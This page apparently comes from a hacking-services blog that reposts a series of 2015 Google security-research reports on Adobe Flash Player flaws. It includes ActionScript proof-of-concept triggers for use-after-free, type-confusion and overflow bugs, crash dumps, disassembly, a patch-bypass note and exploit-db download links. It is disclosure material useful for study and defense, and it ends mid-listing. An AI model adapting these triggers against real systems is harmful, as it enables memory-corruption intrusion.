Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863153517

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=365&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

If a watch is set on the childNodes object of an XML object, and then the XML object is manipulated in a way that causes its child nodes to be enumerated, the watch will trigger. If the function in the watch deletes all the child nodes, the buffer containing the nodes will be deleted, even though the original function will still access it when it unwinds. This can lead to a childnodes array in ActionScript containing pointers that can be specified by an attacker. A minimal POC is as follows:

var doc:XML = new XML(); 
var rootNode:XMLNode = doc.createElement("rootNode");  
var oldest:XMLNode = doc.createElement("oldest"); 
var middle:XMLNode = doc.createElement("middle"); 
var youngest:XMLNode = doc.createElement("youngest"); 
var youngest1:XMLNode = doc.createElement("youngest1"); 
var youngest2:XMLNode = doc.createElement("youngest2"); 
var youngest3:XMLNode = doc.createElement("youngest3"); 
 
// add the rootNode as the root of the XML document tree 
doc.appendChild(rootNode); 
 
// add each of the child nodes as children of rootNode 
rootNode.appendChild(oldest); 
rootNode.appendChild(middle); 
rootNode.appendChild(youngest1);
rootNode.appendChild(youngest2);
rootNode.appendChild(youngest3);
 
// create an array and use rootNode to populate it 
var firstArray:Array = rootNode.childNodes; 
trace (firstArray.length);

firstArray[0] = "test";
firstArray.watch("length", f);
rootNode.appendChild(youngest);

function f(a, b){
	
	trace("in f " + a + " " + b + " " + c);
	if(b == 1){
	firstArray.unwatch("length");
	middle.removeNode();
	oldest.removeNode();
	youngest1.removeNode();
	youngest2.removeNode();
	youngest3.removeNode();
	youngest.removeNode();
	}
	
	
	for(var i = 0; i < 100; i++){
		var b = new flash.display.BitmapData(100, 1000, true, 1000);
		var c = "aaaaaaaaaaaaa";
	}
	
		trace("end length " + rootNode.childNodes.length);	
	}

A sample fla and swf are also attached.	

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37859.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=367&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

[Deadline tracking for Chromium VRP bug https://code.google.com/p/chromium/issues/detail?id=484610]

Credit is to bilou, working with the Chromium Vulnerability Rewards Program.

---
VULNERABILITY DETAILS
When calling Color.setRGB in AS2 it is possible to free the target_mc object used in the Color constructor while a reference remains in the stack.

VERSION
Chrome Version: Chrome stable 42.0.2311.90 with Flash 17.0.0.169
Operating System: Win7 x64 SP1

REPRODUCTION CASE
The Color constructor needs a target_mc object like a MovieClip, a TextField etc. While calling Color.setRGB with a custom object, it is possible to execute arbitrary AS2 code that might delete the target_mc object leading to a UAF.
(These lines come from flashplayer17_sa.exe 17.0.0.169):

.text:004B82D0                 push    esi
.text:004B82D1                 mov     esi, [esp+4+arg_0]
.text:004B82D5                 push    edi
.text:004B82D6                 mov     edi, ecx
.text:004B82D8                 mov     ecx, [edi+94h]  ; edi points to freed memory
.text:004B82DE                 and     ecx, 0FFFFFFFEh
.text:004B82E1                 add     ecx, 3Ch
.text:004B82E4                 mov     eax, esi
.text:004B82E6                 call    sub_4B0724      ; crash below
...
.text:004B0724                 mov     edx, [ecx]      ; crash here ecx = 3ch (null pointer)
.text:004B0726                 cmp     edx, [eax]
.text:004B0728                 jnz     short loc_4B077E


Compile the poc with Flash CS5.5
***************************************************************************
Content of as2_color_uaf.fla:

var tf:TextField = this.createTextField("tf",1,1,1,4,4)
var o = new Object()
o.valueOf = function () {
	tf.removeTextField()
	return 0x41414142
}

var c = new Color(tf)
c.setRGB(o)
---

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37860.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=377&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

[Deadline tracking for https://code.google.com/p/chromium/issues/detail?id=487237]

Credit is to bilou, working with the Chromium Vulnerability Reward Program

---
There is a use after free in Flash caused by an improper handling of BitmapData objects in the DisplacementMapFilter.mapBitmap property. 
This is almost a repost of  Issue 457680  due to a patch failure.

VERSION
Chrome Version: N/A now, Flash StandAlone Debug 17.0.0.188
Operating System: [Win7 x64 SP1]

REPRODUCTION CASE
The AS2 mapBitmap_v2_as2.fla can be compiled with Flash CS5. Some bytes must be changed manually to trigger the issue (see below).
Just put mapBitmap_v2_as2.swf in a browsable directory and run the swf with Chrome. It might crash while dereferencing 0x41424344 (hopefully, not tested yet because not available).

After compiling mapBitmap_v2_as2.swf, I had to change the bytes at offset 0x92B in the (MyBitmapData constructor):
52 17 96 02 00 04 03 26 to 17 17 17 17 17 17 17 17 (actionPOP)

The description is exactly the same as in  Issue 457680  so I won't repost it. Here are just my comments on the patch.
They basically added a marker at offset +0xDC in the flash standalone debugger (the standalone player is not available at the time of writing):

.text:005AD629 loc_5AD629:
.text:005AD629                 lea     ecx, [esi+0DCh]
.text:005AD62F                 push    edi
.text:005AD630                 mov     [ebp+1C4h+var_198], ecx
.text:005AD633                 call    xsetUseMarker

.text:0059F762                 cmp     byte ptr [ecx], 0   ; is the marker present?
.text:0059F765                 jz      short loc_59F77B
.text:0059F767                 cmp     [esp+arg_0], 0      ; is 0 provided?
.text:0059F76C                 jz      short locret_59F77E 
.text:0059F76E                 mov     ecx, dword_EE4788   ; kill the program
.text:0059F774                 call    sub_9798C0
.text:0059F779                 jmp     short locret_59F77E
.text:0059F77B
.text:0059F77B loc_59F77B:
.text:0059F77B                 mov     byte ptr [ecx], 1   ; else set the marker
.text:0059F77E
.text:0059F77E locret_59F77E:
.text:0059F77E                 retn    4


That marker is then removed when we exit the BitmapData dispatcher:

.text:005AEF29                 mov     eax, [ebp+1C4h+var_198] ; jumptable 005AD654 default case
.text:005AEF2C                 mov     byte ptr [eax], 0


So, to trigger again the issue, we just have to put an extra call to getPixel32 for example:

var o = new Object()
o.valueOf = function () {
    bd.getPixel32(1,4)          // remove the marker :)
	f()
	for (var i = 0; i<0x10;i++) {
		var tf:TextFormat = new TextFormat()
		tf.tabStops = b
		a[i] = tf
	}
	return 4
}

bd.getPixel32(o,4)


And we're done :)
---

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37861.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=378&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

We've hit the same bug from two different avenues:

1) A report to the Chromium bug tracker: https://code.google.com/p/chromium/issues/detail?id=485893

2) The new Flash fuzzing collaboration between Mateusz, Chris, Ben.

For 1), here are the details (there's also an attachment):

---
VULNERABILITY DETAILS

This is a OOB read vulnerability when processing the SCRIPTDATASTRING object in Flv file.


VERSION
Chrome Version: 42.0.2311.135 
Operating System: Windows 7

REPRODUCTION CASE

See attached file

FOR CRASHES, PLEASE INCLUDE THE FOLLOWING ADDITIONAL INFORMATION

Type of crash: 
Tab

Crash State: 

[WARNING:..\..\..\..\flash\platform\pepper\pep_module.cpp(63)] SANDBOXED
(e38.c34): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000006 ebx=003ff0b0 ecx=000ff000 edx=05110000 esi=00000000 edi=00000000
eip=63be351a esp=003ff06c ebp=003ff080 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files (x86)\Google\Chrome\Application\42.0.2311.135\PepperFlash\pepflashplayer.dll - 
pepflashplayer!PPP_ShutdownBroker+0x162327:
63be351a 0fb632          movzx   esi,byte ptr [edx]         ds:002b:05110000=??
4:064> k
ChildEBP RetAddr  
WARNING: Stack unwind information not available. Following frames may be wrong.
003ff080 63be379e pepflashplayer!PPP_ShutdownBroker+0x162327
003ff0b4 63cfd02e pepflashplayer!PPP_ShutdownBroker+0x1625ab
003ff0ec 63b3c609 pepflashplayer!PPP_ShutdownBroker+0x27be3b
003ff13c 63cf6d58 pepflashplayer!PPP_ShutdownBroker+0xbb416
003ff14c 63cf6fbc pepflashplayer!PPP_ShutdownBroker+0x275b65
003ff35c 63d11691 pepflashplayer!PPP_ShutdownBroker+0x275dc9
003ff368 63d116d6 pepflashplayer!PPP_ShutdownBroker+0x29049e
003ff4b4 63d0d842 pepflashplayer!PPP_ShutdownBroker+0x2904e3
003ff4fc 63cf99a3 pepflashplayer!PPP_ShutdownBroker+0x28c64f
003ff550 63b94728 pepflashplayer!PPP_ShutdownBroker+0x2787b0
003ff574 63ff0933 pepflashplayer!PPP_ShutdownBroker+0x113535
00000000 00000000 pepflashplayer!PPP_ShutdownBroker+0x56f740
---

For 2), there's a .tar file with a repro SWF in it (may not reproduce outside of analysis tools because it is an OOB read).

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37862.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=380&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

There is a use-after-free issue if the scale9Grid setting is called on an object with a member that then frees display item. This issue occurs for both MovieClips and Buttons, it needs to be fixed in both classes.

A PoC is as follows:

var n = { valueOf : func };
var o = {x:n, y:0,width:10, height:10}

_global.mc = this
var newmc:MovieClip = this.createEmptyMovieClip("mymc",1)
mymc.scale9Grid = o


function func() {
	trace("here");
	var t = _global.mc.createTextField("test",1,1,1,2,3)
	t.removeTextField()
	return 7
}


A sample fla and swf is attached.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37863.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=396&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

A nasty looking crash is manifesting in various different ways under fuzzing, apparently related to drawing and bitmap handling.

A trigger is attached, signal_sigsegv_7ffff5b5aee2_252_0688bbd450e7c095265d00be2fca50ab.swf

The base file from which this fuzz case was generated is attached, 0688bbd450e7c095265d00be2fca50ab.swf

The crash on 64-bit Linux looks like this:

=> 0x00007f69314b8f7d:	cmpl   $0xc,0x174(%rax)

rax            0x83071500ff0300	36881008741516032

If we trace through the usages of %rax, we can get to some bad writes pretty easily:

=> 0x00007f69314b8f7d:	cmpl   $0xc,0x174(%rax)
   0x00007f69314b8f84:	je     0x7f69314b8fa0
...
   0x00007f69314b8fa0:	mov    (%rax),%rdi      <-- rdi compromised
   0x00007f69314b8fa3:	callq  0x7f69314b8810
...
   0x00007f69314b8810:	mov    (%rsi),%edx
   0x00007f69314b8812:	cmp    $0x7ffffff,%edx
   0x00007f69314b8818:	je     0x7f69314b8862
   0x00007f69314b881a:	mov    0x10(%rdi),%eax
   0x00007f69314b881d:	cmp    $0x7ffffff,%eax
   0x00007f69314b8822:	je     0x7f69314b8868
   0x00007f69314b8824:	sub    $0x1,%edx
   0x00007f69314b8827:	cmp    %eax,%edx
   0x00007f69314b8829:	cmovg  %eax,%edx
   0x00007f69314b882c:	mov    0x14(%rdi),%eax
   0x00007f69314b882f:	mov    %edx,0x10(%rdi)  <---- rdi written to

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37866.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=391&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

There is a use-after-free in attachMovie due to the initObject. If the initObject contains an object that calls a method that deletes the movie clip that is being attached, a use-after-free occurs. A proof-of-concept is as follows:

n = {_quality : {toString : func}};
function func(){
	
	trace("hello");
	
	newResetButton.removeMovieClip();
	return "test";
	}
	
_root.attachMovie("myResetButton","newResetButton",200, n);

A sample fla and swf are attached.

Proof of Concept: 
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37865.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=388&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

There are use-after frees realated to storing a single pointer (this this pointer) in several MovieClip drawing methods, including beginFill, beginBitmapFill, beginGradientFill, linGradientStyle, lineTo, moveTo, curveTo and lineStyle. A proof-of-concept involving bitmapFill is bewlo:

import flash.display.*;
import flash.geom.*;

var bmpd:BitmapData = new BitmapData(20,20);
var rect1:Rectangle = new Rectangle(0,0,10,10);
var rect2:Rectangle = new Rectangle(0, 10, 10, 20);
var rect3:Rectangle = new Rectangle(10, 0, 20, 10);
var rect4:Rectangle = new Rectangle(10, 10, 20, 20);
bmpd.fillRect(rect1, 0xAA0000FF);
bmpd.fillRect(rect2, 0xAA00FF00);
bmpd.fillRect(rect3, 0xAAFF0000);
bmpd.fillRect(rect4, 0xAA999999);
var thiz = this;
this.createEmptyMovieClip("bmp_fill_mc", 1);
with (bmp_fill_mc) {
	
	var n = {valueOf: func};
    matrix = {a:2, b:n, c:0, d:2, tx:0, ty:0}; 
    //matrix.rotate(Math.PI/8);
    repeat = true;
    smoothing = true;
    beginBitmapFill(bmpd, matrix, repeat, smoothing);
    moveTo(0, 0);
    lineTo(0, 60);
    lineTo(60, 60);
    lineTo(60, 0);
    lineTo(0, 0);
    endFill();
}

bmp_fill_mc._xscale = 200;
bmp_fill_mc._yscale = 200;

function func(){
	
	var test = thiz.createTextField("test", 1, 1, 1, 10, 10);
	trace(test);
	test.removeTextField();
	return 777;
	} 

A sample fla and swf are attached.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37864.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=397&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

Running the attached swf file in Google Chrome (Linux x64) will eventually result in dialog offering to terminate the slow script. (Not the Google Chrome infobar that says that Flash isn't responding, but the dialog that appears after that.)

Upon electing to terminate the script, a crash occurs.

It is not known whether this bug can be triggered or not without user interaction.

The crashing swf is signal_sigsegv_7ffff5ce5ea4_6963_b1d6342468487426c7ea26c725453e7d.swf

The base file from which the mutated file was generated is b1d6342468487426c7ea26c725453e7d.swf

On Linux x64, the crash looks like this:

=> 0x00007f6931525318:	andl   $0xffffffbf,0x3c(%rax)
rax            0x7ff8000000000000	9221120237041090560

And if we look back in the assembly a bit, the wild value has come from %rbx that points to a block of wild values.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37867.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=398&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

The attached sample, signal_sigsegv_7ffff603deef_1525_268381c02bc3b05c84578ebaeafc02f0.swf, typically crashes in this way on my Linux x64 build (Flash v17.0.0.188):

=> 0x00007f693155bf58:	mov    (%rdi),%rbx
rdi            0x23c	572

At first glance this might appear to be a NULL dereference but sometimes it crashes trying to access 0xc8 and different builds have shown crashes at much wilder addresses, so there is probably a use-after-free or other non-deterministic condition going on. For example, our fuzzing cluster saw a crash at 0x400000001.

The base sample from which the fuzz case is derived is also attached.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37868.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=403&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

There is a use-after-free in MovieClip.swapDepths, a POC is as follows:

var clip1 = this.createEmptyMovieClip("clip1", 1);
var clip2 = this.createEmptyMovieClip("clip2", 2);

var n = {valueOf: func, toString: func};

clip1.swapDepths(n);

function func(){
	
	clip1.removeMovieClip();
	//_root.createEmptyMovieClip("test", 1);
	
	trace("here");
	return "clip2";
	}

A swf and fla are attached.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37871.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=404&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

Source file and compiled PoC attached.

Looking at https://github.com/adobe-flash/avmplus/blob/master/core/XMLListObject.cpp:

bool XMLListObject::delUintProperty(uint32_t index)
...
if (index >= _length())      [1]
        {
            return true;
        }
...
    px->childChanges(core->knodeRemoved, r->atom());  [2]
...
    m_children.removeAt(index);   [3]

In [1], the passed in index is validated. In [2], the callback can run actionscript, which might shrink the size of the current XMLList. In [3], the pre-validated index is used but it might now be invalid due to shrinking at [2]. Unfortunately, removeAt() does not behave well in the presence of an out-of-bounds index.

The PoC works by triggering a wild copy in order to demonstrate the crash. But other side-effects are possible such as decrementing the refcount of an out-of-bounds index.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37872.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=400&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

The attached sample file, signal_sigsegv_7ffff637297a_8900_e3f87b25c25db8f9ec3c975f8c1211cc.swf, crashes, perhaps relating to XML handling.

The crash looks like this on Linux x64:

=> 0x00007f6931226f22:	mov    0x8(%rcx),%eax
rcx            0x303030303030300	217020518514230016

The wider context shows that the wild pointer target can be incremented with this vulnerability, which is typically enough for an exploit:

=> 0x00007f6931226f22:	mov    0x8(%rcx),%eax    <--- read
   0x00007f6931226f25:	test   %eax,%eax
   0x00007f6931226f27:	je     0x7f6931226f80
   0x00007f6931226f29:	test   $0x40000000,%eax
   0x00007f6931226f2e:	jne    0x7f6931226f80
   0x00007f6931226f30:	add    $0x1,%eax         <--- increment
   0x00007f6931226f33:	cmp    $0xff,%al
   0x00007f6931226f35:	mov    %eax,0x8(%rcx)    <--- write back

The base sample from which this fuzz case was generated is also attached, e3f87b25c25db8f9ec3c975f8c1211cc.swf

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37870.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=399&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

The attached sample, signal_sigsegv_7ffff60a1429_9554_f4dc661554237404dfe394d4c6c3e674.swf, crashes in this manner on Linux x64:

=> 0x00007f693158481f:	movzbl (%rcx),%r11d
rcx            0x3102ffffecfd	53888954658045

The base sample from which this fuzz case was generated is also attached. We believe this may be related to button handling.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37869.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=408&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

There is a use-after-free in CreateTextField. If a flash file contains a MovieClip heirarcy, such as:

_root-->l1-->l2-->l3

If createTextField is called on l2 to create l3, and the call makes a call into a function the deletes l2 or l1, a use-after-free occurs. A POC is as follows:

var l1 = this.createEmptyMovieClip("l1", 1);
var l2 = l1.createEmptyMovieClip("l2", 1);
ns = {toString: strfunc, valueOf: strfunc};
var l3 = l2.createTextField(ns, 1, 0, 0, 10, 10);

function strfunc(){
	
	l2.removeMovieClip();
	return "myname";
	
	}

A sample SWF and fla are attached.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37873.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=409&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

There is a type confusion issue in TextRenderer.setAdvancedAntialiasingTable. If the font, insideCutoff or outsideCutoff are set to objects that are not integers, they are still assumed to be integers. A proof-of-concept is below:

var antiAliasEntry_1 = {fontSize:10, insideCutoff:1.61, outsideCutoff:-3.43};
var antiAliasEntry_2 = {fontSize:"", insideCutoff:0.8, outsideCutoff:-0.8};
var arialTable:Array = new Array(antiAliasEntry_1, antiAliasEntry_2);

TextRenderer.setAdvancedAntialiasingTable("Arial", "none", "dark", arialTable);

This issue is low-impact because the type-confused objects are read into the font and cutoff values, which cannot be directly retreived from script. It is probably possible to determine the value read by doing hit tests on the text that is rendered (to see how big and clipped it is), but this would be fairly difficult.

A sample SWF and fla are attached, these samples intentionally crash to demonstrate the issue. 

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37874.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=416&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

This issue is a variant of  issue 192 , which the fix did not address.

If XMLSocket connect is called on an object that already has a destroy function set, such as a BitmapData object, the method will set the user data of that object, but not clear the destroy function. This leads to type confusion when the user data is freed during garbage collection.

A PoC is as follows:

class subsocket extends flash.display.BitmapData{
	

	public function subsocket(){
			
	var n = {valueOf : func};
    this.valueOf = func;
	var x = new XMLSocket();

	x.connect.call(this, "127.0.0.1", this);

}

function func(){

	if(this){
		}
	this.__proto__ = {}; 
	this.__proto__.__constructor__ = flash.display.BitmapData;
	super(10, 10, true, 10);
	return 80;
	}
		
		
}
	

A SWF and fla are attached. Note that this PoC needs to be run on a webserver on localhost (or change the IP in the PoC to the server value), and it only crashes in Chrome on 64-bit Linux.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37876.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=410&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

The following crash was observed in Flash Player 17.0.0.188 on Windows:

(81c.854): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=37397006 ebx=00000000 ecx=008c0493 edx=09f390d0 esi=08c24d98 edi=09dc2000
eip=07a218cb esp=015eda80 ebp=015edb24 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00050216
Flash32_17_0_0_188+0x18cb:
07a218cb ff6004           jmp   dword ptr [eax+0x4] ds:0023:3739700a=????????

- The test case reproduces on Windows 7 using IE11. It does not appear to immediately reproduce on Windows+Chrome or Linux+Chrome.

- The crash can also reproduce on one of the two mov instructions prior to the jmp shown here.

- The crash appears to occur due to a use-after-free related to loading a sub-resource from a URL.

- The test case minimizes to an 11-bit difference from the original sample file.

- The following test cases are attached: 2038518113_crash.swf (crashing file), 2038518113_min.swf (minimized file), 2038518113_orig.swf (original non-crashing file).

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37875.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=418&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

There is a use-after-free in the TextField gridFitType setter. A PoC is below:

var test = this.createTextField("test", 1, 0, 0, 100, 100);
var n = {toString : func, valueOf : func};
test.gridFitType = n;

function func(){
	
	test.removeTextField();
	for(var i = 0; i < 1000; i++){
		var b = new flash.display.BitmapData(1000, 1000, true, 10);
		}
	trace("here");
	return "natalie";
	
	}

A PoC and fla are attached. Some other setters (thickness, tabIndex, etc.) are also impacted by the same UaF condition, additional SWFs are attached.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37877.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=422&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

There is a type confusion issue in the TextFormat constructor that is reachable because the FileReference constructor does not verify that the incoming object is of type Object (it only checks that the object is not native backed). The TextFormat constructor first sets a new object to type TextFormat, and then calls into script several times before setting the native backing object. If one of these script calls then calls into the FileReference constructor, the object can be set to type FileReference, and then the native object will be set to the TextFormat, leading to type confusion. A PoC is as follows:

In the main SWF:

var a = new subfr();
var allTypes:Array = new Array();
var imageTypes:Object = new Object();
imageTypes.description = "Images (*.jpg, *.jpeg, *.gif, *.png)";
imageTypes.extension = "*.jpg; *.jpeg; *.gif; *.png";
allTypes.push(imageTypes);

var textTypes:Object = new Object();
textTypes.description = "Text Files (*.txt, *.rtf)";
textTypes.extension = "*.txt;*.rtf";
allTypes.push(textTypes);
var f = new flash.net.FileReference();
f.cancel.call(a);

Defining subfr:

class subfr extends Object{


	public function subfr(){			
	var n = {valueOf : func};
    this.valueOf = func;
	this.toString = func;
	this.__proto__ = {}; 
	this.__proto__.__constructor__ = TextFormat;
	super(this);

}

function func(){
	
	this.__proto__ = {}; 
	this.__proto__.__constructor__ = flash.net.FileReference;
	super();
	return "natalie";
	}
		
		
}
	
	
A sample SWF and fla are attached.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37878.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=425&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

To reproduce, host the attached files appropriately and:

http://localhost/LoadMP4.swf?file=crash4000368.flv

If there is no crash at first, refresh the page a few times.

With a debugger attached to 64-bit Flash in Chrome Linux, the crash manifests like this:

=> 0x00007f7789d081bb <__memmove_ssse3_back+443>:	movaps %xmm1,-0x10(%rdi)

rdi            0x7f7778d69200

7f777894b000-7f7778d69000 rw-p 00000000 00:00 0 
7f7778d69000-7f7778d88000 ---p 00000000 00:00 0 

This looks very like a heap-based buffer overflow that just happens to have walked off the end of the committed heap.

Also, this bug bears disturbing similarities to CVE-2015-3043, see for example: https://www.fireeye.com/blog/threat-research/2015/04/probable_apt28_useo.html

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37879.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=443&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

If an mp3 file contains compressed ID3 data that is larger than 0x2aaaaaaa bytes, an integer overflow will occur in allocating the buffer to contain its converted string data, leading to a large copy into a small buffer. A sample fla, swf and mp3 are attached. Put id34.swf and tag.mp3 in the same folder to reproduce the issue. This issue only works on 64 bit platforms.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37882.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=426&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

To reproduce, host the attached files appropriately, and:

http://localhost/LoadMP4.swf?file=crash3006694.flv

If there is no crash at first, refresh the page a few times.

With a debugger attached to 64-bit Flash in Chrome Linux, the crash manifests like this:

=> 0x00007f7779846eee:	mov    %ax,(%rdi,%rdx,2)

rax            0xff69
rdi            0x7f7778b70000
rdx            0x160b

7f777861e000-7f7778b72000 rw-p 00000000 00:00 0 
7f7778b72000-7f7779228000 ---p 00000000 00:00 0 

It looks like an indexing error; the rdi "base" address is in bounds but add on 2*rdx and the address is not in bounds.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37880.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=434&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

The Shared Object constructor does not check that the object it is provided is of type Object before setting it to be of type SharedObject. This can cause problems if another method (such as Sound.loadSound) calls into script between checking the input object type, and casting its native object. A PoC is as follows:

class subso extends Sound{

	public function subso(f){
			
	super("_level0.test");
	var n = {valueOf : func};
	_global.func = f;
	_global.t = this;
	var f2 = this.loadSound;
	f2.call(this, n, 1);
}

function func(){
	
	_global.func(_global.t,"/sosuper.swf", "/sosuper.swf");
	return 1;
	}
}
	

A sample fla, swf and AS file are attached. Note that this PoC needs to be hosted on a webserver to work and only works on 32-bit systems (tested on Windows Chrome). song1.mp3 should be put in the same folder on the server as the swf, it is needed for loadSound to work. This bug is likely only exploitable on 32-bit systems due to how the type-confused fields line up.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37881.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=484&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

[Tracking for: https://code.google.com/p/chromium/issues/detail?id=508072]

VULNERABILITY DETAILS
Copy Paste of  Issue 480496 

VERSION
Chrome Version: N/A yet, Flash 18.0.0.203
Operating System: [Win7 x64 SP1]

REPRODUCTION CASE

Flash 18.0.0.203 patched  Issue 480496  by checking if the internal filter object is still alive after the first Array.length call (from Flash player standalone):

.text:004D71DA loc_4D71DA:
.text:004D71DA                 and     ecx, 0FFFFFFF8h
.text:004D71DD                 call    xAS2_getArrayLength
.text:004D71E2                 test    eax, eax
.text:004D71E4                 jle     short loc_4D725D
.text:004D71E6                 mov     ecx, [esp+8+arg_C]
.text:004D71EA                 mov     eax, [ecx+94h]
.text:004D71F0                 test    eax, 0FFFFFFFEh
.text:004D71F5                 jz      short loc_4D7200
.text:004D71F7                 and     eax, 0FFFFFFFEh
.text:004D71FA                 cmp     dword ptr [eax+28h], 0       ; here we check whether the object has been deleted or not
.text:004D71FE                 jnz     short loc_4D720B
.text:004D7200
.text:004D7200 loc_4D7200:
.text:004D7200                 mov     ecx, dword_E51A40
.text:004D7206                 call    sub_968A00                   ; and in that case we suicide


Unfortunately they forget to do that check after the second Array.length call:

.text:004D721D loc_4D721D:
.text:004D721D                 and     eax, 0FFFFFFF8h
.text:004D7220                 push    edi
.text:004D7221                 mov     edi, eax
.text:004D7223                 mov     ecx, edi
